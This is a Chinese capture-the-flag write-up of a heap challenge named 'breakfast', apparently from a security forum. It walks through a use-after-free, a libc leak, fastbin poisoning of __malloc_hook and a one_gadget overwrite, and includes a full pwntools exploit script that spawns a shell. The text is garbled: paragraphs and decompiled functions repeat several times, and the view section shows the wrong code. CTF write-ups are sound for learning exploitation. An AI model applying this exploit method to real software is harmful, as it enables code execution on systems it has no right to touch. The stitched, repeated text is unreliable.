刚开始接触pwn之前学过漏洞利用不过这还是第一次做出堆的题。2333还是很开心。
将程序拖入IDA分析,程序逻辑非常简单。
程序分四个功能。分别进行分析
功能1:create breakfast:输入两个参数,第一个为序号,第二个为大小。函数限制序号小于100,大小小于0x70,并使用第二个输入作为参数调用malloc函数。得到结论堆分配类型为fastbin。fastbin相较其他类型更为简单,使用单链表对空闲堆块进行连接。
2.利用fastbin漏洞修改内存
关于漏洞可以查看https://www.cnblogs.com/Ox9A82/p/5865420.html学习。
我们知道fastbin的单向链表链接的。而通过uaf,我们的可以覆盖这个单项链表指针。从而控制下一次malloc时候的地址。但是还存在一个检查。
这道题是铁人三项比赛西南赛区个人赛的第二题。
0x00 信息收集
checksec检测程序,发现程序开启了Full RELRO不能覆盖got表。
0x01 流程分析
将程序拖入IDA分析,程序逻辑非常简单。
程序分四个功能。分别进行分析
功能1:create breakfast:输入两个参数,第一个为序号,第二个为大小。函数限制序号小于100,大小小于0x70,并使用第二个输入作为参数调用malloc函数。得到结论堆分配类型为fastbin。fastbin相较其他类型更为简单,使用单链表对空闲堆块进行连接。
pre_size为上一个堆块大小,size为自身大小(包含头部),fd在空闲状态有效,指向下一个空闲堆快,组成单向链表。
程序将分配到的地址根据序号保存在一个地址数组中。
int crea()
{
_DWORD *v0; // rsi@7
unsigned int v1; // ebx@11
void *v2; // rdx@11
int result; // eax@11
char v4; // [sp+Bh] [bp-15h]@2
unsigned int v5; // [sp+Ch] [bp-14h]@1
v5 = 0;
puts("Enter the position of breakfast");
while ( (_isoc99_scanf("%u%c", &v5, &v4) != 2 || v4 != 10) && clear_stdin("%u%c", &v5) )
;
if ( v5 > 0x63 )
{
result = puts("Bad position");
}
else
{
puts("Enter the size in kcal.");
do
v0 = &ptr[v5 + 200LL];
while ( (_isoc99_scanf("%u%c", v0, &v4) != 2 || v4 != 10) && clear_stdin("%u%c", v0) );
if ( ptr[(unsigned __int64)v5 + 200] > 0x70u )
{
result = puts("Bad size.");
}
else
{
v1 = v5;
v2 = malloc(ptr[(unsigned __int64)v5 + 200]);
result = v1;
*(_QWORD *)&ptr[2 * v1] = v2;
}
}
return result;
}
功能2:modify 功能很简单,根据序号得到分配的堆的地址和当初分配的大小,以此为参数调用read函数,即向堆中写入。
int modify()
{
int result; // eax@6
char v1; // [sp+Bh] [bp-5h]@2
unsigned int v2; // [sp+Ch] [bp-4h]@1
v2 = 0;
puts("Introduce the menu to ingredients");
while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
;
if ( v2 > 0x63 )
{
result = puts("Bad position");
}
else
{
puts("Enter the ingredients");
result = read(0, *(void **)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
}
return result;
}
功能3:view 根据序号返回堆的内容。
int crea()
{
_DWORD *v0; // rsi@7
unsigned int v1; // ebx@11
void *v2; // rdx@11
int result; // eax@11
char v4; // [sp+Bh] [bp-15h]@2
unsigned int v5; // [sp+Ch] [bp-14h]@1
v5 = 0;
puts("Enter the position of breakfast");
while ( (_isoc99_scanf("%u%c", &v5, &v4) != 2 || v4 != 10) && clear_stdin("%u%c", &v5) )
;
if ( v5 > 0x63 )
{
result = puts("Bad position");
}
else
{
puts("Enter the size in kcal.");
do
v0 = &ptr[v5 + 200LL];
while ( (_isoc99_scanf("%u%c", v0, &v4) != 2 || v4 != 10) && clear_stdin("%u%c", v0) );
if ( ptr[(unsigned __int64)v5 + 200] > 0x70u )
{
result = puts("Bad size.");
}
else
{
v1 = v5;
v2 = malloc(ptr[(unsigned __int64)v5 + 200]);
result = v1;
*(_QWORD *)&ptr[2 * v1] = v2;
}
}
return result;
}
功能2:modify 功能很简单,根据序号得到分配的堆的地址和当初分配的大小,以此为参数调用read函数,即向堆中写入。
int modify()
{
int result; // eax@6
char v1; // [sp+Bh] [bp-5h]@2
unsigned int v2; // [sp+Ch] [bp-4h]@1
v2 = 0;
puts("Introduce the menu to ingredients");
while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
;
if ( v2 > 0x63 )
{
result = puts("Bad position");
}
else
{
puts("Enter the ingredients");
result = read(0, *(void **)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
}
return result;
}
功能3:view 根据序号返回堆的内容。
int modify()
{
int result; // eax@6
char v1; // [sp+Bh] [bp-5h]@2
unsigned int v2; // [sp+Ch] [bp-4h]@1
v2 = 0;
puts("Introduce the menu to ingredients");
while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
;
if ( v2 > 0x63 )
{
result = puts("Bad position");
}
else
{
puts("Enter the ingredients");
result = read(0, *(void **)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
}
return result;
}
功能3:view 根据序号返回堆的内容。
int ver()
{
int result; // eax@6
char v1; // [sp+Bh] [bp-5h]@2
unsigned int v2; // [sp+Ch] [bp-4h]@1
v2 = 0;
puts("Enter the breakfast to see");
while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
;
if ( v2 > 0x63 )
result = puts("Bad position");
else
result = write(1, **(const void ***)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
return result;
}
int ver()
{
int result; // eax@6
char v1; // [sp+Bh] [bp-5h]@2
unsigned int v2; // [sp+Ch] [bp-4h]@1
v2 = 0;
puts("Enter the breakfast to see");
while ( (_isoc99_scanf("%u%c", &v2, &v1) != 2 || v1 != 10) && clear_stdin("%u%c", &v2) )
;
if ( v2 > 0x63 )
result = puts("Bad position");
else
result = write(1, **(const void ***)&ptr[2 * v2], ptr[(unsigned __int64)v2 + 200]);
return result;
}
功能4: liberea 很简单,根据序号free堆,但是没有将数组中地址请空,于是存在uaf漏洞。
void libera()
{
char v0; // [sp+Bh] [bp-5h]@2
unsigned int v1; // [sp+Ch] [bp-4h]@1
v1 = 0;
puts("Introduce the menu to delete");
while ( (_isoc99_scanf("%u%c", &v1, &v0) != 2 || v0 != 10) && clear_stdin("%u%c", &v1) )
;
if ( v1 > 0x63 )
puts("Bad position");
else
free(*(void **)&ptr[2 * v1]);
}
0x02 攻击分析
1.泄露libc基地址
输出函数view存在漏洞,write函数的参数输出的不是堆快内的内容,而是堆快中内容指向地址的内容。即本应输出“堆块内容",实际输出 [堆块内容],于是可以将堆块内容填充为got表地址,出题方又给了libc样本,于是可以得到libc地址。
2.利用fastbin漏洞修改内存
关于漏洞可以查看https://www.cnblogs.com/Ox9A82/p/5865420.html学习。
我们知道fastbin的单向链表链接的。而通过uaf,我们的可以覆盖这个单项链表指针。从而控制下一次malloc时候的地址。但是还存在一个检查。
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
即伪造堆块的size域必须符合你申请堆的大小。但是这个验证允许错位。可以通过。现在需要知道向哪里写入什么。
3.使用one_gadget找到execve("/bin/sh")的地址。
one_gadget真是个好东西。得到了需要写入的地址。
4.由于程序开启了FULL RELRO,所以无法覆盖got表,但是malloc,realloc,free函数在开始时会查看他们对应的hook变量中是否为空,不为空则调用变量中的地址,于是寻找
malloc_hook, realloc_hook,free_hook的地址,通过比较发现malloc_hook上方内存可以伪造chunk。
malloc_hook地址为
在上方寻找伪造chunk
申请到这个地址后就可以写入malloc_hook变量为前面one_gadget得到的地址。再次调用malloc就得到shell。
0x02 攻击脚本from pwn import *
z=process('./breakfast')
elf1=ELF('./breakfast')
elf=ELF('libc64')
z.readuntil('5.- Exit')
def create(a,b):
z.writeline('1')
z.readuntil('Enter the position of breakfast')
z.writeline(a)
z.readuntil('Enter the size in kcal.')
z.writeline(b)
z.readuntil('5.- Exit')
def write(a,b):
z.writeline('2')
z.readuntil('Introduce the menu to ingredients')
z.writeline(a)
z.readuntil('Enter the ingredients')
z.writeline(b)
z.readuntil('5.- Exit')
def see(a):
z.writeline('3')
z.readuntil('Enter the breakfast to see')
z.writeline(a)
z.readline()
c=u64(z.read(8))
z.readuntil('5.- Exit')
return c
def dele(a):
z.writeline('4')
z.readuntil('Introduce the menu to delete')
z.writeline(a)
z.readuntil('5.- Exit')
create('1','8')
write('1',p64(elf1.got['write']))
lib_base=see('1')-elf.symbols['write']
print hex(lib_base+0x3c3ee0)
create('1','96')
create('2','96')
dele('1')
write('1',p64(lib_base+0x3c4aed))
print hex(lib_base+0x3c4aed)
pwnlib.gdb.attach(z)
create('1','96')
create('1','96')
write('1','a'*19+p64(0xf1147 +lib_base))
z.writeline('1')
z.readuntil('Enter the position of breakfast')
z.writeline('1')
z.readuntil('Enter the size in kcal.')
z.writeline('1')
z.interactive()
void libera()
{
char v0; // [sp+Bh] [bp-5h]@2
unsigned int v1; // [sp+Ch] [bp-4h]@1
v1 = 0;
puts("Introduce the menu to delete");
while ( (_isoc99_scanf("%u%c", &v1, &v0) != 2 || v0 != 10) && clear_stdin("%u%c", &v1) )
;
if ( v1 > 0x63 )
puts("Bad position");
else
free(*(void **)&ptr[2 * v1]);
}
0x02 攻击分析
1.泄露libc基地址
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-1-28 13:19
被admin编辑
,原因:
上传的附件: